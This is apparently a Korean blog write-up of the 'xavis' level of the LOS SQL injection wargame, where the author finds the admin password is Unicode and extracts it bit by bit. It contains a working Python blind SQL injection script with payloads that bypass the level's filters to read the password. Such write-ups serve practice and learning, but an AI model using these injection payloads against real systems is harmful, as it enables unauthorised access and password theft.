
19번째 문제 xavis 다.
regex, like 를 필터링하고, 정확한 pw 값을 찾아야 하는 blind injection 문제로 보인다.
나머지 함수들은 필터링이 없어 편하게 페이로드를 짤 수 있을 것 같다.
그런데 injection 하다가 한 가지 이상한 점이 보였다.

password 의 ascii 값 추출이 안된다.
혹시 멀티바이트인가 하고 각 자리의 bit length 를 구해보면

1,2,3 번째 글자가 16 비트인 것을 알 수 있다.
아마 ascii 가 아니라 유니코드일 것이다.
# password 길이
import requests
php = 'h3f5ptfm8b4nsjqe8o23jfji39'
for i in range(1,100):
r = requests.get(url, params={'pw':f"' or id='admin' and length(pw)={i};-- -"}, cookies={'PHPSESSID':php})
# print(r.text)
if 'Hello admin' in r.text:
print(f'password length = {i}')
break
# 각 자리마다 bit 길이
for i in range(1,13):
for j in range(1,20):
r = requests.get(url, params={'pw':f"' or id='admin' and length(bin(ord(substr(pw,{i},1))))={j};-- -"}, cookies={'PHPSESSID':php})
# print(r.text)
if 'Hello admin' in r.text:
print(f'{i} bit length = {j}')
break
# password 구하기
password_list = []
for i in range(1,4):
password = ''
for j in range(1,17):
r = requests.get(url, params={'pw':f"' or id='admin' and substr(bin(ord(substr(pw,{i},1))),{j},1)='1';-- -"}, cookies={'PHPSESSID':php})
# print(r.text)
if 'Hello admin' in r.text:
password += '1'
# print(password)
else:
password += '0'
# print(password)
print(password)
password_list.append(password)
print(password_list)
for i in password_list:
print(f'password --> {chr(int(i,2))}')
위 코드를 실행시키면

풀었다!
'Web > LOS' 카테고리의 다른 글
| LOS - iron_golem (0) | 2024.10.18 |
|---|---|
| LOS - dragon (0) | 2024.10.18 |
| LOS - nightmare (0) | 2024.10.18 |
| LOS - zombie_assassin (0) | 2024.10.18 |
| LOS - succubus (1) | 2024.10.18 |